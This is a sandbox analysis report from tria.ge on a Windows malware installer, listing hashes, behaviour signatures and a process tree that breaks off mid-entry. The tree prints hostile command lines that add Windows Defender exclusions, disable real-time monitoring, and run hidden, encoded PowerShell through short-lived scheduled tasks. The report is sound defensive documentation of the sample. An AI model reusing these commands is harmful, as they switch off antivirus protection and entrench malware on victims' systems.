Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    226s
  • max time network
    229s
  • platform
    windows7_x64
  • resource
    win7-20240508-en
  • resource tags

    arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
  • submitted
    04/07/2024, 22:36

General

  • Target

    57f939034957cdb82a2760820bb650568ee0699171f48363f9e444c374a05c0d.exe

  • Size

    7.2MB

  • MD5

    996233a65fee55d8bce4b872e4c117e1

  • SHA1

    95e894cb95f14cf1438e9b8d75a7594dcdaaf4e3

  • SHA256

    57f939034957cdb82a2760820bb650568ee0699171f48363f9e444c374a05c0d

  • SHA512

    d832f158cdab5dc47776d336521942f548259cb6976f0e6bcafa67b6cc221fca58b438fad5829978fe4c97850c64477f953653b8421ed9267734a2352e538d7e

  • SSDEEP

    196608:91OZfn3rm11qJ2sIwxXzRCSQwmWtT7GkZbi0IFZU7P:3OZfn3Cy2pwmwT6kREUb

Malware Config

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs
  • Windows security bypass 2 TTPs 40 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

    Run Powershell and hide display window.

  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 23 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops Chrome extension 2 IoCs
  • Drops file in System32 directory 24 IoCs
  • Drops file in Program Files directory 13 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 3 IoCs
  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 12 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 30 IoCs
  • Suspicious use of AdjustPrivilegeToken 63 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\57f939034957cdb82a2760820bb650568ee0699171f48363f9e444c374a05c0d.exe
    "C:\Users\Admin\AppData\Local\Temp\57f939034957cdb82a2760820bb650568ee0699171f48363f9e444c374a05c0d.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:2848
    • C:\Users\Admin\AppData\Local\Temp\7zS194B.tmp\Install.exe
      .\Install.exe
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:3004
      • C:\Users\Admin\AppData\Local\Temp\7zS1B2E.tmp\Install.exe
        .\Install.exe /FvdidQpG "525403" /S
        3⤵
        • Checks BIOS information in registry
        • Executes dropped EXE
        • Loads dropped DLL
        • Enumerates system info in registry
        • Suspicious use of WriteProcessMemory
        PID:2144
        • C:\Windows\SysWOW64\forfiles.exe
          "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m help.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2532
          • C:\Windows\SysWOW64\cmd.exe
            /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:2808
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
              6⤵
              • Command and Scripting Interpreter: PowerShell
              • Drops file in System32 directory
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:2788
              • C:\Windows\SysWOW64\Wbem\WMIC.exe
                "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                7⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:2756
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks /CREATE /TN "bmQWCxleEgxbTUrSZz" /SC once /ST 22:38:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\zaBVKDgOQJLqBjiNo\lWMApHnNtvIHqRb\tgOgpoU.exe\" xv /vSmdidC 525403 /S" /V1 /F
          4⤵
          • Drops file in Windows directory
          • Scheduled Task/Job: Scheduled Task
          PID:2600
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2144 -s 580
          4⤵
          • Loads dropped DLL
          • Program crash
          PID:316
  • C:\Windows\system32\taskeng.exe
    taskeng.exe {8B9E9C08-D96E-47CC-B332-90ED665C187E} S-1-5-18:NT AUTHORITY\System:Service:
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2028
    • C:\Users\Admin\AppData\Local\Temp\zaBVKDgOQJLqBjiNo\lWMApHnNtvIHqRb\tgOgpoU.exe
      C:\Users\Admin\AppData\Local\Temp\zaBVKDgOQJLqBjiNo\lWMApHnNtvIHqRb\tgOgpoU.exe xv /vSmdidC 525403 /S
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Modifies data under HKEY_USERS
      • Suspicious use of WriteProcessMemory
      PID:2472
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /CREATE /TN "gCfUWcXkf" /SC once /ST 18:33:06 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:1284
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /run /I /tn "gCfUWcXkf"
        3⤵
          PID:1264
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks /DELETE /F /TN "gCfUWcXkf"
          3⤵
            PID:1816
          • C:\Windows\SysWOW64\cmd.exe
            cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
            3⤵
              PID:328
              • C:\Windows\SysWOW64\reg.exe
                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
                4⤵
                • Modifies Windows Defender Real-time Protection settings
                PID:2168
            • C:\Windows\SysWOW64\cmd.exe
              cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
              3⤵
                PID:1996
                • C:\Windows\SysWOW64\reg.exe
                  REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
                  4⤵
                  • Modifies Windows Defender Real-time Protection settings
                  PID:1984
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /CREATE /TN "gRcGeUXaa" /SC once /ST 08:33:32 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:1516
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /run /I /tn "gRcGeUXaa"
                3⤵
                  PID:1316
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /DELETE /F /TN "gRcGeUXaa"
                  3⤵
                    PID:1820
                  • C:\Windows\SysWOW64\forfiles.exe
                    "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True"
                    3⤵
                      PID:1664
                      • C:\Windows\SysWOW64\cmd.exe
                        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
                        4⤵
                          PID:1580
                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
                            5⤵
                            • Command and Scripting Interpreter: PowerShell
                            • Drops file in System32 directory
                            • Modifies data under HKEY_USERS
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1688
                            • C:\Windows\SysWOW64\Wbem\WMIC.exe
                              "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
                              6⤵
                              • Suspicious use of AdjustPrivilegeToken
                              PID:2136
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ruCXiJvmKkuTmmIt" /t REG_DWORD /d 0 /reg:32
                        3⤵
                          PID:1240
                          • C:\Windows\SysWOW64\reg.exe
                            REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ruCXiJvmKkuTmmIt" /t REG_DWORD /d 0 /reg:32
                            4⤵
                            • Windows security bypass
                            PID:2180
                        • C:\Windows\SysWOW64\cmd.exe
                          cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ruCXiJvmKkuTmmIt" /t REG_DWORD /d 0 /reg:64
                          3⤵
                            PID:664
                            • C:\Windows\SysWOW64\reg.exe
                              REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ruCXiJvmKkuTmmIt" /t REG_DWORD /d 0 /reg:64
                              4⤵
                              • Windows security bypass
                              PID:3024
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ruCXiJvmKkuTmmIt" /t REG_DWORD /d 0 /reg:32
                            3⤵
                              PID:2692
                              • C:\Windows\SysWOW64\reg.exe
                                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ruCXiJvmKkuTmmIt" /t REG_DWORD /d 0 /reg:32
                                4⤵
                                  PID:2540
                              • C:\Windows\SysWOW64\cmd.exe
                                cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ruCXiJvmKkuTmmIt" /t REG_DWORD /d 0 /reg:64
                                3⤵
                                  PID:2536
                                  • C:\Windows\SysWOW64\reg.exe
                                    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ruCXiJvmKkuTmmIt" /t REG_DWORD /d 0 /reg:64
                                    4⤵
                                      PID:2576
                                  • C:\Windows\SysWOW64\cmd.exe
                                    cmd /C copy nul "C:\Windows\Temp\ruCXiJvmKkuTmmIt\nBppcpdZ\ahHQenwSVcyoUFLD.wsf"
                                    3⤵
                                      PID:2684
                                    • C:\Windows\SysWOW64\wscript.exe
                                      wscript "C:\Windows\Temp\ruCXiJvmKkuTmmIt\nBppcpdZ\ahHQenwSVcyoUFLD.wsf"
                                      3⤵
                                      • Modifies data under HKEY_USERS
                                      PID:2572
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ATiuMetuMWHU2" /t REG_DWORD /d 0 /reg:32
                                        4⤵
                                        • Windows security bypass
                                        PID:1956
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ATiuMetuMWHU2" /t REG_DWORD /d 0 /reg:64
                                        4⤵
                                        • Windows security bypass
                                        PID:2616
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DcwzooFfPwZYrvRkwnR" /t REG_DWORD /d 0 /reg:32
                                        4⤵
                                        • Windows security bypass
                                        PID:2936
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DcwzooFfPwZYrvRkwnR" /t REG_DWORD /d 0 /reg:64
                                        4⤵
                                        • Windows security bypass
                                        PID:2404
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\IchmcMfQaXUn" /t REG_DWORD /d 0 /reg:32
                                        4⤵
                                        • Windows security bypass
                                        PID:1668
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\IchmcMfQaXUn" /t REG_DWORD /d 0 /reg:64
                                        4⤵
                                        • Windows security bypass
                                        PID:1312
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\UyPATDbiwjgOC" /t REG_DWORD /d 0 /reg:32
                                        4⤵
                                        • Windows security bypass
                                        PID:2592
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\UyPATDbiwjgOC" /t REG_DWORD /d 0 /reg:64
                                        4⤵
                                        • Windows security bypass
                                        PID:2836
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VcCVDDBRU" /t REG_DWORD /d 0 /reg:32
                                        4⤵
                                        • Windows security bypass
                                        PID:2412
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VcCVDDBRU" /t REG_DWORD /d 0 /reg:64
                                        4⤵
                                        • Windows security bypass
                                        PID:1052
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\NonltQQlyMoZtVVB" /t REG_DWORD /d 0 /reg:32
                                        4⤵
                                        • Windows security bypass
                                        PID:1504
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\NonltQQlyMoZtVVB" /t REG_DWORD /d 0 /reg:64
                                        4⤵
                                        • Windows security bypass
                                        PID:1808
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                        4⤵
                                        • Windows security bypass
                                        PID:1980
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                        4⤵
                                        • Windows security bypass
                                        PID:1420
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\zaBVKDgOQJLqBjiNo" /t REG_DWORD /d 0 /reg:32
                                        4⤵
                                        • Windows security bypass
                                        PID:1232
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\zaBVKDgOQJLqBjiNo" /t REG_DWORD /d 0 /reg:64
                                        4⤵
                                        • Windows security bypass
                                        PID:1308
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ruCXiJvmKkuTmmIt" /t REG_DWORD /d 0 /reg:32
                                        4⤵
                                        • Windows security bypass
                                        PID:1220
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ruCXiJvmKkuTmmIt" /t REG_DWORD /d 0 /reg:64
                                        4⤵
                                        • Windows security bypass
                                        PID:1716
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ATiuMetuMWHU2" /t REG_DWORD /d 0 /reg:32
                                        4⤵
                                          PID:2156
                                        • C:\Windows\SysWOW64\reg.exe
                                          "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ATiuMetuMWHU2" /t REG_DWORD /d 0 /reg:64
                                          4⤵
                                            PID:2256
                                          • C:\Windows\SysWOW64\reg.exe
                                            "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DcwzooFfPwZYrvRkwnR" /t REG_DWORD /d 0 /reg:32
                                            4⤵
                                              PID:540
                                            • C:\Windows\SysWOW64\reg.exe
                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DcwzooFfPwZYrvRkwnR" /t REG_DWORD /d 0 /reg:64
                                              4⤵
                                                PID:324
                                              • C:\Windows\SysWOW64\reg.exe
                                                "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\IchmcMfQaXUn" /t REG_DWORD /d 0 /reg:32
                                                4⤵
                                                  PID:1104
                                                • C:\Windows\SysWOW64\reg.exe
                                                  "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\IchmcMfQaXUn" /t REG_DWORD /d 0 /reg:64
                                                  4⤵
                                                    PID:1708
                                                  • C:\Windows\SysWOW64\reg.exe
                                                    "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\UyPATDbiwjgOC" /t REG_DWORD /d 0 /reg:32
                                                    4⤵
                                                      PID:2888
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\UyPATDbiwjgOC" /t REG_DWORD /d 0 /reg:64
                                                      4⤵
                                                        PID:2296
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VcCVDDBRU" /t REG_DWORD /d 0 /reg:32
                                                        4⤵
                                                          PID:2496
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VcCVDDBRU" /t REG_DWORD /d 0 /reg:64
                                                          4⤵
                                                            PID:1964
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\NonltQQlyMoZtVVB" /t REG_DWORD /d 0 /reg:32
                                                            4⤵
                                                              PID:1080
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\NonltQQlyMoZtVVB" /t REG_DWORD /d 0 /reg:64
                                                              4⤵
                                                                PID:1516
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                4⤵
                                                                  PID:1772
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                  4⤵
                                                                    PID:1072
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\zaBVKDgOQJLqBjiNo" /t REG_DWORD /d 0 /reg:32
                                                                    4⤵
                                                                      PID:692
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\zaBVKDgOQJLqBjiNo" /t REG_DWORD /d 0 /reg:64
                                                                      4⤵
                                                                        PID:768
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ruCXiJvmKkuTmmIt" /t REG_DWORD /d 0 /reg:32
                                                                        4⤵
                                                                          PID:1376
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ruCXiJvmKkuTmmIt" /t REG_DWORD /d 0 /reg:64
                                                                          4⤵
                                                                            PID:1756
                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                          schtasks /CREATE /TN "gCvobxAkx" /SC once /ST 21:35:20 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                          3⤵
                                                                          • Scheduled Task/Job: Scheduled Task
                                                                          PID:2608
                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                          schtasks /run /I /tn "gCvobxAkx"
                                                                          3⤵
                                                                            PID:2976
                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                            schtasks /DELETE /F /TN "gCvobxAkx"
                                                                            3⤵
                                                                              PID:2796
                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                              cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
                                                                              3⤵
                                                                                PID:2692
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
                                                                                  4⤵
                                                                                    PID:2576
                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                  cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
                                                                                  3⤵
                                                                                    PID:2536
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
                                                                                      4⤵
                                                                                        PID:2684
                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                      schtasks /CREATE /TN "nsbPTSdSgPuDRRbhc" /SC once /ST 07:45:31 /RU "SYSTEM" /TR "\"C:\Windows\Temp\ruCXiJvmKkuTmmIt\lexazqZPNEWTjjp\JyKDiOp.exe\" X4 /IjKedidJV 525403 /S" /V1 /F
                                                                                      3⤵
                                                                                      • Drops file in Windows directory
                                                                                      • Scheduled Task/Job: Scheduled Task
                                                                                      PID:2568
                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                      schtasks /run /I /tn "nsbPTSdSgPuDRRbhc"
                                                                                      3⤵
                                                                                        PID:2632
                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 2472 -s 472
                                                                                        3⤵
                                                                                        • Loads dropped DLL
                                                                                        • Program crash
                                                                                        PID:2116
                                                                                    • C:\Windows\Temp\ruCXiJvmKkuTmmIt\lexazqZPNEWTjjp\JyKDiOp.exe
                                                                                      C:\Windows\Temp\ruCXiJvmKkuTmmIt\lexazqZPNEWTjjp\JyKDiOp.exe X4 /IjKedidJV 525403 /S
                                                                                      2⤵
                                                                                      • Checks computer location settings
                                                                                      • Executes dropped EXE
                                                                                      • Drops Chrome extension
                                                                                      • Drops file in System32 directory
                                                                                      • Drops file in Program Files directory
                                                                                      • Modifies data under HKEY_USERS
                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                      PID:2228
                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                        schtasks /DELETE /F /TN "bmQWCxleEgxbTUrSZz"
                                                                                        3⤵
                                                                                          PID:1004
                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                          "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True" &
                                                                                          3⤵
                                                                                            PID:1292
                                                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                                                              forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
                                                                                              4⤵
                                                                                                PID:556
                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                  /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                  5⤵
                                                                                                    PID:1720
                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                      powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                      6⤵
                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                      • Drops file in System32 directory
                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                      PID:2036
                                                                                                      • C:\Windows\SysWOW64\Wbem\WMIC.exe
